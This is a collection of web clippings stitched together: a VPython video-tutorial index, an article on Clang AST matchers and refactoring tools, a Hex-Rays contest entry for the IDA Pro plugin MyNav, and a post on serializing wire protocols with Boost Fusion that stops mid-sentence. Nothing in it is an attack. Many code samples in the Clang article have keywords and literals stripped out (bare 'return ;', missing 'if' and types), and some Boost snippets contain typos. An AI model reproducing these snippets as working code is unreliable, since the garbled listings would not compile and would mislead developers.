  * \* Episode 07 - Tension _\(vpython07.avi, 86.0 MB, 30 min 3 sec\) - March 14, 2006  
view code - comments_

  *   

    * In this episode we model an experiment in which a string is tied to an object on a table and to a weight hanging off the edge. The mass of the weight is increased until the book slides. Tension and friction are the key topics.
  

  * \* Episode 08 - Gravity _\(vpython08.avi, 92.6 MB, 29 min 19 sec\) - March 23, 2006  
view code - comments_

  *   

    * In this episode we model satellites orbiting the earth. Topics include the Universal Law Of Gravitation, Uniform Circular Motion, and vector subtraction.
  

  * \* Episode 09 - Spring Force _\(vpython09.avi, 76.6 MB, 19 min 12 sec\) - March 30, 2006  
view code - comments_

  *   

    * In this episode we model the behavior of a spring according to Hooke's Law and take a look at dragging and dropping objects in VPython.
  

About this tutorial:

This video series was intended to provide not only 3D programming lessons but
also to serve as a review or introduction to the science topic for each video.
I've become too distracted to continue this project but in the future I may
get back to it. If you have trouble getting any of the videos to play I
recommend trying the VLC media player. Another option is to try and view the
streaming videos here.

Erik Thompson - December 4, 2006  
Email Me

\------------------------------------

XML RSS Feed

\------------------------------------

Links:

  * ShowMeDo, hosts educational videos including several on python
  * Intro to programming with Python in Tkinter, another video tutorial
  * http://vpython.org/, VPython Home Page
  * Vector Math for 3D Computer Graphics, I highly recommend this vector math tutorial \(try doing a chapter a day\)

# Eli Bendersky's website » AST matchers and Clang refactoring tools

**Created:**| _8/1/2014 1:29:43 PM_  
---|---  
**Updated:**| _8/1/2014 1:29:43 PM_  
**Author:**| __  
**Tags:**| _compiler-building_  
  

# AST matchers and Clang refactoring tools

July 29th, 2014 at 8:22 pm

Clang tooling sees lots of interest and development focus in the past few
years. At last, we have a convenient, accurate, open-source and well supported
framework for programmatically analyzing and refactoring C++ code; I find this
very exciting.

A great outcome of this rapid pace of development is that new APIs and tools
spring up all the time. For example, some time ago the Clang tooling
developers figured out folks doing AST traversals have to write a lot of
repetitive code to find interesting AST nodes, so they came up with a great
new API called AST matchers, which I want to discuss here.

### Visitors vs. matchers

Here’s a motivating example. Suppose we’re looking for pointer-typed variables
being used in `if` comparisons. To make this more specific, let’s say we’re
looking for cases where the pointer-typed variable is on the left-hand-side of
an equality comparison \(`==`\). To find such nodes in a recursive visitor,
we’d have to write something like this:

[code]

     VisitIfStmt(IfStmt *s) {
       (const BinaryOperator *BinOP =
              llvm::dyn_cast<BinaryOperator>(s->getCond())) {
         (BinOP->getOpcode() == BO_EQ) {
          const Expr *LHS = BinOP->getLHS();
           (const ImplicitCastExpr *Cast =
                  llvm::dyn_cast<ImplicitCastExpr>(LHS)) {
            LHS = Cast->getSubExpr();
          }
    
           (const DeclRefExpr *DeclRef = llvm::dyn_cast<DeclRefExpr>(LHS)) {
             (const VarDecl *Var =
                    llvm::dyn_cast<VarDecl>(DeclRef->getDecl())) {
               (Var->getType()->isPointerType()) {
                Var->dump();  // YAY found it!!
              }
            }
          }
        }
      }
      return ;
    }
    
[/code]

This is quite a bit of code, but nothing out of the ordinary if you’ve been
working with Clang ASTs for a while. Perhaps it can be golfed down into a
somewhat shorter form, but the main problem is that to write this one has to
go through quite a bit of documentation and header files to figure out which
methods to call and what kinds of objects they return.

Here’s the equivalent AST matcher:

[code]

    Finder.addMatcher(
        ifStmt(hasCondition(binaryOperator(
            hasOperatorName(),
            hasLHS(ignoringParenImpCasts(declRefExpr(
                to(varDecl(hasType(pointsTo(AnyType))).bind("lhs")))))))),
        &HandlerForIf);
    
[/code]

Some difference, right? The declarative nature of matcher definitions makes
this very natural to read and to map to the actual problem. `HandlerForIf` is
a `MatchCallback` object that has direct access to the bound nodes of the
matcher:

[code]

    struct IfStmtHandler : public MatchFinder::MatchCallback {
      virtual  run(const MatchFinder::MatchResult &Result) {
        const VarDecl *lhs = Result.Nodes.getNodeAs<VarDecl>("lhs");
        lhs->dump();   // YAY found it!!
      }
    };
    
[/code]

There’s actually quite a bit of documentation available about AST matchers on
the official Clang website. For a complete example that can be built outside
of the LLVM tree, I redid the tooling sample from the previous article, now
with AST matchers \(all available in the llvm-clang-samples repository\).

### Using clang-query to test matchers and explore the AST

An interesting new tool in Clang-land is `clang-query`. It’s an interactive
evaluator for AST matchers that can be used both to test your matchers and do
some programmatic exploration of the AST. Let’s say we want to develop an AST
matcher for pointer comparisons, similar to the one shown above. Here’s a
sample input file we’re going to work on:

[code]

     (* p,  v) {
       (p == ) {
        return v + ;
      }  {
        return v - ;
      }
    }
    
[/code]

Let’s fire up `clang-query` and see what it can do:

[code]

    $ clang-query /tmp/iflhsptr.c --
    clang-query> set output diag
    clang-query> match functionDecl()
    
    Match #1:
    
    /tmp/iflhsptr.c:1:1: note: "root" binds here
    int foo(int* p, int v) {
    ^~~~~~~~~~~~~~~~~~~~~~~~
    1 match.
    
[/code]

This is a basic smoke test to see how it matches the function declaration. The
output mode set in the first command could also ask the tool to dump or print
the AST, but for our purpose the diagnostic output is convenient.

Here’s how we can match deeper nodes and bind them:

[code]

    clang-query> match ifStmt(hasCondition(binaryOperator(hasOperatorName("==")).bind("op")))
    
    Match #1:
    
    /tmp/iflhsptr.c:2:7: note: "op" binds here
      if (p == 0) {
          ^~~~~~
    /tmp/iflhsptr.c:2:3: note: "root" binds here
      if (p == 0) {
      ^~~~~~~~~~~~~
    1 match.
    
[/code]

If we intend to provide our own bindings, the root binding can be turned off:

[code]

    clang-query> set bind-root false
    
[/code]

Let’s see multiple matches:

[code]

    clang-query> match varDecl().bind("var")
    
    Match #1:
    
    /tmp/iflhsptr.c:1:9: note: "var" binds here
    int foo(int* p, int v) {
            ^~~~~~
    
    Match #2:
    
    /tmp/iflhsptr.c:1:17: note: "var" binds here
    int foo(int* p, int v) {
                    ^~~~~
    2 matches.
    
[/code]

At this point I’ll stop because long matchers don’t format conveniently in a
blog post, but I’m sure you got the idea. It’s very obvious how helpful this
tool can be with developing matchers. It’s still new and has some rough edges,
but is already quite useful.

### Refactoring tools and replacements

With the growing usage of libTooling, it’s hardly surprising that its
developers keep coming up with higher levels of abstraction that help writing
new tools with less and less effort. The AST matchers framework presented
above is one example. Another is `RefactoringTool`, a subclass of `ClangTool`
that makes it possible to craft new tools with very little code. I’ll show an
example soon, but first a word about replacements.

The tools I was demonstrating so far used a `Rewriter` to change the
underlying source code in response to finding interesting things in the AST.
This is a good approach, but it has a problem scaling for large projects.
Imagine running a tool over a large project with many source files and many
header files. Some of rewritings may need to happen in the header files, but
how to manage that, given that the same headers get included into multiple
translation units? Some edits may end up being duplicated or even conflicting,
and that’s a problem.

`Replacement`s are the solution. The source transformation task is divided
into two distinct steps:

  1. Custom tools go through the source base, finding the refactoring patterns to apply, and generating serialized replacements into files. Think of replacements as something like patch files \(precise directions of how to modify a source file\), but in a somewhat friendlier format.
  2. `clang-apply-replacements` can then run with access to all replacements, perform the required de-duplication and conflict resolution and actually apply the changes to the source.

This approach also allows nice parallelization of the refactoring over huge
code-bases, though there aren’t many projects and companies in the world with
source code large enough to make this a real problem.

Back to an example then. I took the simple sample tool from the previous
article \(just finding interesting `if` nodes and adding some comments into
them\) and rewrote it once again, using `RefactoringTool` and replacements.
The full code is available in the samples project, but it’s so short that I
can show most of it here.

Here’s the complete `main` function. For ease of hacking it just dumps the
replacements to stdout instead of serializing or applying them:

[code]

     main( argc, const  **argv) {
      CommonOptionsParser op(argc, argv, ToolingSampleCategory);
      RefactoringTool Tool(op.getCompilations(), op.getSourcePathList());
    
      // Set up AST matcher callbacks.
      IfStmtHandler HandlerForIf(&Tool.getReplacements());
    
      MatchFinder Finder;
      Finder.addMatcher(ifStmt().bind("ifStmt"), &HandlerForIf);
    
      // Run the tool and collect a list of replacements. We could call
      // runAndSave, which would destructively overwrite the files with
      // their new contents. However, for demonstration purposes it's
      // interesting to show the replacements.
       ( Result = Tool.run(newFrontendActionFactory(&Finder).get())) {
        return Result;
      }
    
      llvm::outs() << "Replacements collected by the tool:\n";
       ( &r : Tool.getReplacements()) {
        llvm::outs() << r.toString() << ;
      }
    
      return ;
    }
    
[/code]

`IfStmtHandler` is just a `MatchCallback` that is triggered on `if`
statements:

[code]

    class IfStmtHandler : public MatchFinder::MatchCallback {
    public:
      IfStmtHandler(Replacements *Replace) : Replace(Replace) {}
    
      virtual  run(const MatchFinder::MatchResult &Result) {
        // The matched 'if' statement was bound to 'ifStmt'.
         (const IfStmt *IfS =
              Result.Nodes.getNodeAs<clang::IfStmt>("ifStmt")) {
          const Stmt *Then = IfS->getThen();
          Replacement Rep(*(Result.SourceManager), Then->getLocStart(), ,
                          "// the 'if' part\n");
          Replace->insert(Rep);
    
           (const Stmt *Else = IfS->getElse()) {
            Replacement Rep(*(Result.SourceManager), Else->getLocStart(), ,
                            "// the 'else' part\n");
            Replace->insert(Rep);
          }
        }
      }
    
    private:
      Replacements *Replace;
    };
    
[/code]

Note how little boilerplate this code contains. The tool is set up in just a
handful of lines of code, and most of my code deals with the actual
refactoring at hand. This definitely makes writing tools quicker and easier
than ever before.

Related posts:

This entry was posted on Tuesday, July 29th, 2014 at 20:22 and is filed under
Compilation, LLVM & Clang. You can follow any responses to this entry through
the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is
currently not allowed.

# Hex-Rays Hall of Fame 2010

**Created:**| _7/22/2010 4:15:53 PM_  
---|---  
**Updated:**| _7/22/2010 4:16:01 PM_  
**Author:**| __  
**Tags:**| _iDA plugin awesome_  
  

  * **Joxean Koret with MyNav, a python plugin for IDA Pro**
<img src='img/Temp2_3863.gif' /> This is a very powerful python-based plugin.
Joxean tried to describe it with one line:

MyNav is an Open Source plugin for IDA Pro which aims to help reverse
engineers doing the most typical tasks.

**Our comments:** We love this plugin. The description above is too generic
and does not really show the plugin's power. You may check the readme.txt file
for more functionality or, better, just watch the tutorial videos kindly
prepared by Joxean:

<img src='img/Temp2_3862.gif' /> Analyzing Windows kernel32.dll\!CreateFileA
function

<img src='img/Temp2_3860.gif' /> Exporting and importing symbols

<img src='img/Temp2_3861.gif' /> Analyzing Adobe Acrobat Reader's JavaScript
plugin

For more information about the plugin and new version \(we hope that there
will be more improvements in the future\), please check its official web site:
http://joxeankoret.com

**Download link:** mynav-1.0.1.zip

**Final notes**

We would like to thank everyone who participated in the contest. Despite of
the fact that we had less participants this time, we plan to declare a new one
soon.

A note to the downloaders: please be aware that all files come from third
parties. While we did our best to verify them, we can not guarantee that they
work as advertised, so use them at your own risk.

For the plugin support questions, please contact the authors.

# Type Driven Wire Protocols with Boost Fusion · Thomas Rodgers Blog

**Created:**| _9/10/2014 9:41:30 AM_  
---|---  
**Updated:**| _9/10/2014 9:41:30 AM_  
**Author:**| __  
**Tags:**| _Embedded programming bus-systems_  
  

# Type Driven Wire Protocols with Boost Fusion

09 Sep 2014

## Why not ProtoBufs, Thrift, etc.?

These solutions are great when you control both ends of the communication or
when cross language compatibility is required. There are, however, many
important use cases where this is not the case -

  * 3rd party systems
  * Embedded devices
  * Legacy systems

## So Why not Packed Structs?

The "classic C way" is to declare a packed struct which reflects the wire
layout and then cast a pointer to a raw byte buffer to the desired type.

[code]

    #include <array>
    namespace example {
        struct header {
            uint16_t magic;
            uint16_t version;
            uint32_t length;
            uint32_t msg_type;
        } __attribute__((packed));
    }
    
    int main(int argc, char **argv) {
        std::array<char, sizeof(example::header)> buf;
        // ... read buf
        auto phdr = reinterpret_cast<example::header const*>(buf.data());
        // ... do something with phdr
    }
[/code]

This approach is simple and efficient; many fundamental protocol stacks are
implemented this way \(e.g. TCP, UDP, IP\). It, however, has a few drawbacks -

  * Depending on the hardware there may be substantial performance penalties for member-wise access.
  * You are limited to POD \(plain old data-types\).
  * The types and layout of fields is restricted to the layout on the wire and likely does not match the desired types within the target problem domain.
  * Explicit coding is required to fix up each member for byte ordering.
  * This kind of code is often difficult to maintain and is generally not very modular or reusable.

In my day to day work, I deal with connectivity to financial markets which
fall into the "3rd party systems" bucket. Frequently the type of data
exchanged describes complex financial products with many nested variable
length structures. Using the packed structure overlay approach quickly
devolves into code that is hard to reason about, very difficult to maintain,
and usually needs to be further wrapped into types that already exist in my
application domain.

## Is there a better way?

You could solve this by writing custom code generators, however in my
experience the results tend to be fragile, consideration must be given to
whether the intermediate artifacts are placed under source control, if not,
how to integrate the code generator into the build, and the generator tends to
be a hard to maintain one-off.

This being C++, we already have a wealth of inbuilt code-generating capability
which might make it possible to sidestep some of the difficulties with
creating a bespoke code generator.

### It would be nice if Standard C++ had compile-time reflection

The primary capability we need is to enumerate the fields of a type,
retrieving the field type and a reference to the field data. There is an
active study group SG7 working on compile-time reflection proposals for
eventual inclusion in the standard. Unfortunately Standard C++ does not yet
provide such a facility.

### What about Boost Fusion?

From the Boost Fusion Introduction -

> Fusion is a library and a framework similar to both STL and the boost MPL.
> The structure is modeled after MPL, which is modeled after STL. It is named
> "fusion" because the library is reminiscent of the "fusion" of compile time
> meta-programming with runtime programming. The library inherently has some
> interesting flavors and characteristics of both MPL and STL. It lives in the
> twilight zone between compile time meta-programming and run time
> programming. STL containers work on values. MPL containers work on types.
> Fusion containers work on both types and values.
The important bits for our purposes are that Fusion allows us to work with
both compile time containers of types and runtime containers of values.

A container of types and values -

[code]

    #include <cstddef>
    
    namespace example {
        struct header {
            uint16_t magic;
            uint16_t version;
            uint32_t length;
            uint32_t msg_type;
        } __attribute__((packed));
    }
[/code]

This _container_ needs to be reworked a bit to get Fusion to generate the
_magic boilerplate_ necessary for our purposes -

[code]

    #include <cstddef>
    #include <boost/fusion/include/define_struct.hpp>
    
    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (uint16_t, magic)
        (uint16_t, version)
        (uint32_t, length)
        (uint32_t, msg_type)
    )
[/code]

The BOOST\_FUSION\_DEFINE\_STRUCT macro takes -

  * a paren enclosed list of namespaces as \(ns1\)\(ns2\)...\(nsx\)
  * a struct name
  * a list of \(type, field name\) pairs

The networking code that I write makes extensive use of Boost Asio, and the
sample code will make use of two types from Asio in particular -

  * const\_buffer \- a safe non-modifiable buffer
  * mutable\_buffer \- a safe modifiable buffer

Both types contain a **non-owning** pointer to underlying storage and a
length. Each type exposes a '+' operator which returns a new buffer offset
from the existing buffer by a given number of bytes. Buffers also support a
number of free functions, the ones used here are -

  * buffer\_cast
\(buf\) - returns a T\* from the buffer

  * buffer\_size\(buf\) - returns the size of the buffer
  * buffer\_copy\(dest, src\) - copies bytes from one buffer to another
  * buffer
\(T\* v\) - construct a buffer from pointer to T

## Member-wise visitation

Now that we have a Fusion struct with _magic boilerplate_ , we want to
enumerate the contents and apply _some_ operation to each member of the
struct. Fusion uses the visitor pattern to achieve this -

[code]

    #include <boost/fusion/include/for_each.hpp>
    #include <boost/asio/buffer.hpp>
    
    struct reader {
        asio::const_buffer buf_;
    
        explicit reader(asio::const_buffer buf)
            : buf_(std::move(buf))
        { }
    
        template<class T>
        void operator()(T & val) {
            // ...
        }
    };
    
    template<typename T>
    std::pair<T, asio::const_buffer> read(asio::const_buffer b) {
        reader r(std::move(b));
        T res;
        fusion::for_each(res, r);
        return std::make_pair(res, r.buf_);
    }
[/code]

The reader type is the visitor, and the read\(\) free function constructs a
reader to read a given type from the supplied _const\_buffer_. Unfortunately,
this code is not quite right; fusion::for\_each\(\) takes the visitor by const
reference, so we need to fix up the code. Specifically, we make the buf\_
member _mutable_ and the call operator\(\) _const_ , as follows -

[code]

    #include <boost/fusion/include/for_each.hpp>
    #include <boost/asio/buffer.hpp>
    
    struct reader {
        mutable asio::const_buffer buf_;
    
        explicit reader(asio::const_buffer buf)
            : buf_(std::move(buf))
        { }
    
        template<class T>
        void operator()(T & val) const {
            // ...
        }
    };
    
    template<typename T>
    std::pair<T, asio::const_buffer> read(asio::const_buffer b) {
        reader r(std::move(b));
        T res;
        fusion::for_each(res, r);
        return std::make_pair(res, r.buf_);
    }
[/code]

The code structure for writing data to a _mutable\_buffer_ is very similar -

[code]

    #include <boost/asio/buffer.hpp>
    #include <boost/fusion/include/for_each.hpp>
    
    struct writer {
        mutable asio::mutable_buffer buf_;
    
        explicit writer(asio::mutable_buffer buf)
        : buf_(std::move(buf))
        { }
    
        template<class T>
        void operator()(T const& val) const {
            // ...
        }
    };
    
    template<typename T>
    asio::mutable_buffer write(asio::mutable_buffer b, T const& val) {
        writer w(std::move(b));
        boost::fusion::for_each(val, w);
        return w.buf_;
    }
[/code]

## Fixing up byte ordering

Frequently the network byte order differs from the host machine byte order and
must be fixed up on read and write. The standard functions for doing this are
-

[code]

    uint32_t htonl(uint32_t hostlong);
    uint16_t htons(uint16_t hostshort);
    uint32_t ntohl(uint32_t netlong);
    uint16_t ntohs(uint16_t netshort);
[/code]

The _hton_ variety convert unsigned 32 and 16 bit values from host to network
byte order. The _ntoh_ variety do the opposite conversion. There is a proposal
to add a somewhat generic implementation for unsigned integral types to
Standard C++. While an improvement, as currently proposed it is limited to
unsigned types. What we really want is a generic implementation that works for
all integral \(signed or unsigned, >32 bit, etc.\) types. It is fairly easy to
roll our own \(though I will skip the implementation details here\), such that
we can expect -

[code]

    template<class T>
    T hton(T v);
    
    template<class T>
    T ntoh(T v);
[/code]

Work for the integral types we care about and make the appropriate byte order
conversions for our wire protocol. We can amend our reader to now consume data
from the _const\_buffer_ and set values in the supplied Fusion struct -

[code]

    struct reader {
        asio::const_buffer buf_;
    
        // ...
    
        template<class T>
        void operator()(T & val) const {
            val = ntoh(*asio::buffer_cast<T const*>(buf_));
            buf_ = buf_ + sizeof(T);
        }
    };
[/code]

We can similarly amend the writer to write data to the _mutable\_buffer_ from
values in the supplied Fusion struct -

[code]

    struct writer {
        mutable asio::mutable_buffer buf_;
    
        // ...
    
        template<class T>
        void operator()(T const& val) const {
            T tmp = hton(val);
            asio::buffer_copy(buf_, asio::buffer(&tmp, sizeof(T)));
            buf_ = buf + sizeof(T);
        }
    };
[/code]

## Enumerated values

Frequently it is desirable to represent values as enums. C++11 added Scoped
Enumerations which allow us to now specify the underlying type. This fits
nicely into this technique. In our example header struct -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (example::magic_t, magic)
        (example::version_t, version)
        (uint32_t, length)
        (uint32_t, msg_type)
    )
[/code]

The struct member _msg\_type_ is an obvious candidate for declaring as an
enumerated type -

[code]

    namespace example {
        enum class msg_type_t : uint32_t {
            // ...
        };
    }
    
    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (example::magic_t, magic)
        (example::version_t, version)
        (uint32_t, length)
        (example::msg_type_t, msg_type)
    )
[/code]

As it stands, our reader implementation is not quite sufficient. As currently
defined -

[code]

    struct reader {
        asio::const_buffer buf_;
    
        // ...
    
        template<class T>
        void operator()(T & val) const {
            val = ntoh(*asio::buffer_cast<T const*>(buf_));
            buf_ = buf_ + sizeof(T);
        }
    };
[/code]

The call operator\(\) matches _any_ type T, however ntoh/hton only work on
_integral_ types. We need to make the implementation more selective -

[code]

    struct reader {
        // ...
    
        template<class T>
        auto operator()(T & val) const ->
            typename std::enable_if<std::is_integral<T>::value>::type {
            val = ntoh(*asio::buffer_cast<T const*>(buf_));
            buf_ = buf_ + sizeof(T);
        }
    };
[/code]

We use the _std::enable\_if <>_ metafunction which allows us to conveniently
leverage SFINAE to conditionally remove this overload when the type trait
metafunction _std::is\_integral <T>_ does not evaluate to _std::true\_type_
for T.

We need to introduce a similar change to writer -

[code]

    struct writer {
        // ...
    
        template<class T>
        auto operator()(T const& val) const ->
            typename std::enable_if<std::is_integral<T>::value>::type {
            T tmp = hton(val);
            asio::buffer_copy(buf_, asio::buffer(&tmp, sizeof(T)));
            buf_ = buf_ + sizeof(T);
        }
    };
[/code]

Now we can introduce a new overload for the call operator\(\) to the reader
which will handle enumeration types -

[code]

    struct reader {
        // ...
    
        template<class T>
        auto operator()(T & val) const ->
            typename std::enable_if<std::is_enum<T>::value>::type {
            typename std::underlying_type<T>::type v;
            (*this)(v);
            val = static_cast<T>(v);
        }
    };
[/code]

This overload uses _std::underlying\_type <T>_ to get the underlying type of
the scoped enumeration then delegates the read to the matching overload for
integral types. Finally, the result is cast to appropriate enum type.

We also need a similar change in the writer -

[code]

    struct writer {
        // ...
    
        template<class T>
        auto operator()(T const& val) const ->
            typename std::enable_if<std::is_enum<T>::value>::type {
            using utype = typename std::underlying_type<T>::type;
            (*this)(static_cast<utype>(val));
        }
    };
[/code]

## Fixed tag data

Many protocols have fixed 'tag' data, this usually comes in the form of -

  * _Magic_ signature bytes
  * Version markers

In our example header the aptly named _magic_ and _version_ fields are likely
candidates for fixed tags.

[code]

    #include <cstddef>
    #include <boost/fusion/include/define_struct.hpp>
    
    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (uint16_t, magic)
        (uint16_t, version)
        (uint32_t, length)
        (uint32_t, msg_type)
    )
[/code]

This data is constant there is no need to store it in our Fusion struct. All
we need is a means of encoding type and expected value. C++11 introduced a
type, _std::integral\_constant <>_ which does exactly this -

[code]

    #include <cstddef>
    #include <type_traits>
    #include <boost/fusion/include/define_struct.hpp>
    
    namespace example {
        using magic_t = std::integral_constant<uint16_t, 0xf00d>;
        using version_t = std::integral_constant<uint16_t, 0xbeef>;
    }
    
    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (example::magic_t, magic)
        (example::version_t, version)
        (uint32_t, length)
        (uint32_t, msg_type)
    )
[/code]

We then add an overload to the reader -

[code]

    struct reader {
        // ...
    
        template<class T, T v>
        void operator()(std::integral_constant<T, v>) const {
            typedef std::integral_constant<T, v> type;
            typename type::value_type val;
            (*this)(val);
            if (val != type::value)
                throw ...;
        }
    };
[/code]

And a similar overload for the writer -

[code]

    struct writer {
        // ...
    
        template<class T, T v>
        void operator()(std::integral_constant<T, v>) const {
            typedef std::integral_constant<T, v> type;
            (*this)(type::value);
        }
    };
[/code]

## Simple variable length types

A drawback of the packed struct overlay approach is that you are generally
left reading variable length content in multiple steps \(e.g. read a header,
read variable length type\). The resulting struct definitions represent these
sequences in terms of basic C types \(e.g. char _, uint32\_t_ , etc,\) rather
than Standard C++ types such as strings, maps, vectors, or concepts such as
ranges. We can do something a bit more _natural_.

Assuming string data is encoded as a 16 bit length prefix followed by some
length number of chars, the reader is amended as follows -

[code]

    #include <string>
    
    struct reader {
       // ...
    
       void operator()(std::string& val) const {
            uint16_t length = 0;
            (*this)(length);
            val = std::string(asio::buffer_cast<char const*>(buf_), length);
            buf_ = buf_ + length;
        }
    };
[/code]

And for the writer -

[code]

    struct writer {
       // ...
    
       void operator()(std::string const& val) const {
            (*this)(static_cast<uint16_t>(val.length()));
            asio::buffer_copy(buf_, asio::buffer(val));
            buf_ = buf_ + length;
        }
    };
[/code]

Implementing support for _std::vector_

 __

__is similarly straight forward -

[code]

     struct reader {
        // ...
    
        template<class T>
        void operator()(std::vector<T> & vals) {
            uint16_t length;
            (*this)(length);
            for (; length; --length) {
                T val;
                (*this)(val);
                vals.emplace_back(std::move(val));
            }
        }
    };
    
    struct writer {
        // ...
    
        template<class T>
        void operator()(std::vector<T> const& vals) {
        (*this)(vals.length());
        for(auto&& val : vals)
            (*this)(val);
    };
[/code]

Implementing support for maps -

[code]

    struct reader {
        // ...
    
        template<class K, class V>
        void operator()(std::unordered_map<K,V> & kvs) {
            uint16_t length;
            (*this)(length);
            for (; length; --length) {
                K key;
                (*this)(key);
                V val;
                (*this)(val);
                kvs.emplace(key, val);
            }
        }
    };
    
    struct writer {
        // ...
    
        template<class K, class V>
        void operator()(std::unordered_map<K, V> const& kvs) {
            (*this)(vals.length());
            for(auto& kv : kvs) {
                (*this)(kv.first);
                (*this)(kv.second);
            }
        }
    };
[/code]

It is possible to generically implement the writer for any type which conforms
to the ForwardRange concept.

[code]

    struct writer {
        // ...
    
        template<class T, class U>
        void operator()(std::pair<T, U> const& val) {
            (*this)(val.first);
            (*this)(val.second);
        }
    
        template<typename T>
        auto operator()(T const& val) ->
            std::enable_if<boost::has_range_const_iterator<T>>::value>::type {
            auto length = std::distance(std::begin(val), std::end(val));
            if (length > std::numeric_limits<uint16_t>::max())
                throw ...;
    
            (*this)(static_cast<uint16_t>(length));
            for (auto& val : vals)
                (*this)(val);
        }
    };
[/code]

## Multiple variable length fields

Handling the following type with packed structs would be non-trivial -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (example::magic_t, magic)
        (example::version_t, version)
        (uint32_t, length)
        (std::unordered_map<std::string, std::string>, hdr_props)
        (example::msg_type_t, msg_type)
        (std::vector<uint64_t>, vals)
    )
[/code]

However, our reader/writer can already handle something like this.

## Framing

All of the code so far has ignored the issue of framing. If the underlying
transport is UDP \(or some other message oriented transport which provides
framing\), we can continue to do so, however TCP is stream oriented and
requires extra work. A typical approach for TCP wire protocols is to have a
fixed length header which includes the total message length, so in practice,
the above header would typically be split as follows -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), header,
        (example::magic_t, magic)
        (example::version_t, version)
        (uint32_t, length)
        (example::msg_type_t, msg_type)
    )
    
    BOOST_FUSION_DEFINE_STRUCT(
        (example), header_rest,
        (std::unordered_map<std::string, std::string>, hdr_props)
    )
[/code]

A subsequent post will cover strategies for dealing with more complicated
framing requirements.

## User defined types

I work for a trading firm. One of the things we care about is the precise
representation, in base-10, of prices. This means we need some other way
besides float or double \($2.25 for instance is not precisely representable in
base-2\) of representing fixed point quantities. For the purposes of this
sample we expect these values to be representable as -

  * 8bit signed exponent
  * 32bit unsigned mantissa

For example, \{ -2, 225 \} is 2.25. The floating point approximation of the
value is obtained by _mantissa \* pow\(10, exponent\)_. We can represent this
with the following UDT -

[code]

    namespace example {
    struct decimal_t {
        int8_t exponent_;
        uint32_t mantissa_;
    
        decimal_t(int8_t e, uint32_t m)
            : exponent_(e)
            , mantissa_(m)
        { }
    
        operator double() const { return mantissa_ * pow(10, exponent_); }
    };
    } // namespace example
[/code]

Extending our reader to handle such a type is straight forward -

[code]

    struct reader {
        // ...
    
        void operator()(decimal_t * val) const {
            int8_t e;
            (*this)(e);
            uint32_t m;
            (*this)(m);
            val = decimal_t(e, m);
        }
    };
[/code]

This will work well enough for the moment, but we are going to revisit this
design choice shortly.

## Multiple nested variable length structures

The financial products I tend to work with most are options contracts. For our
purposes, such a contract consists of -

  * a contract identifier
  * an identifier for the underlying product \(e.g. stock\)
  * the strike price at which the contract is exerciseable
  * expiration date of the contract
  * an enumeration for the contract type, put or call

A representative Fusion struct would be -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), option_t,
        (std::string, contract_id)
        (std::string, underlying_id)
        (example::decimal_t, strike)
        (example::put_call_t, put_call)
        (posix::date, expiration)
    )
[/code]

With the exception of a definition for handling _posix::date_ fields \(left as
an exercise\) we already have everything we need to support exchanging such
types. However, we also deal with products called listed option spreads. For
our purposes here, these consist of -

  * a spread contract identifier
  * a variable length list of options contracts that are part of the spread, aka the _legs_

A representative Fusion struct would be -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), spread_t,
        (std::string, contract_id)
        (std::vector<example::option_t>, legs)
    )
[/code]

The only capability we are missing is ability to read and write nested Fusion
structs. To do so we can amend the reader and writer as follows -

[code]

    #include <boost/fusion/include/for_each.hpp>
    #include <boost/fusion/include/is_sequence.hpp>
    
    struct reader {
        // ...
    
        template<class T>
        auto operator()(T & val) const ->
        typename std::enable_if<boost::fusion::is_sequence<T>::value>::type {
            boost::fusion::for_each(val, *this);
        }
    };
    
    struct writer {
        // ...
    
        template<class T>
        auto operator()(T const& val) const ->
        typename std::enable_if<boost::fusion::is_sequence<T>::value>::type {
            boost::fusion::for_each(val, *this);
        }
    };
[/code]

With this change we can now deal with arbitrarily nested Fusion structs and we
can revisit the approach for handling UDTs.

In addition to the BOOST\_FUSION\_DEFINE\_STRUCT macro, there is a
BOOST\_FUSION\_ADAPT\_STRUCT macro which will create the _magic_ boilerplate
for existing types. We can change our handling of decimal\_t as follows -

[code]

    #include <boost/fusion/include/adapt_struct.hpp>
    
    namespace example {
    struct decimal_t {
        int8_t exponent_;
        uint32_t mantissa_;
    
        decimal_t(int8_t e, uint32_t m)
            : exponent_(e)
            , mantissa_(m)
        { }
    
        operator double() const { return mantissa_ * pow(10, exponent_); }
    };
    } // namespace example
    
    BOOST_FUSION_ADAPT_STRUCT(
        example::decimal_t,
        (int8_t, exponent_)
        (uint32_t, mantissa_)
    )
[/code]

We also need to remove the explicit overloads for decimal\_t from the reader
and writer and handle adapted UDTs with the overload for Fusion sequence
types.

## Optional Fields

Frequently protocols will have optional fields \(often represented by a bit
mask indicating which optional fields are present\). Boost provides an
_optional_

 __

__type which can be either empty, or holds an instance of some type _T_. We
can declare our optional fields generically using the following -

[code]

    #include <boost/optional.hpp>
    
    namespace example {
        template<typename T, size_t N>
        struct optional_field : boost::optional<T> {
            using boost::optional<T>::optional;
            constexpr static const size_t bit = N;
        };
    } // namespace example
[/code]

We also need some way to indicate to reader/writer where the field bitmask
occurs. We can use a definition like this -

[code]

    #include <bitset>
    
    namespace example {
    template<typename T, size_t N = CHAR_BIT * sizeof(T)>
        struct optional_field_set {
            using value_type = T;
            using bits_type = std::bitset<N>;
        };
    } // namespace example
[/code]

One thing to note about this type, it does not store any actual data. It
simply acts as a _marker_ or indication to the reader/writer of where the
bitmask is to be expected.

With these definitions, we can now extend the reader as follows -

[code]

    struct reader {
        mutable optional<opt_fields::bits_type> opts_;
        // ...
    
        template<class T, size_t N>
        void operator()(example::opt_fields) const {
            opt_fields::value_type val;
            (*this)(val);
            opts_ = opt_fields::bits_type(val);
        }
    
        template<class T, size_t N>
        void operator()(example::optional_field<T, N> & val) const {
            if (!opts_)
                throw ...
            if ((*opts_)[N]) {
                T v;
                (*this)(v);
                val = example::optional_field<T, N>(std::move(v));
            }
        }
    };
[/code]

Here, the optional reader member _opts\__ is used to temporarily store the
value of the bitmask when the reader encounters it. The overload for
_optional\_field_

 __

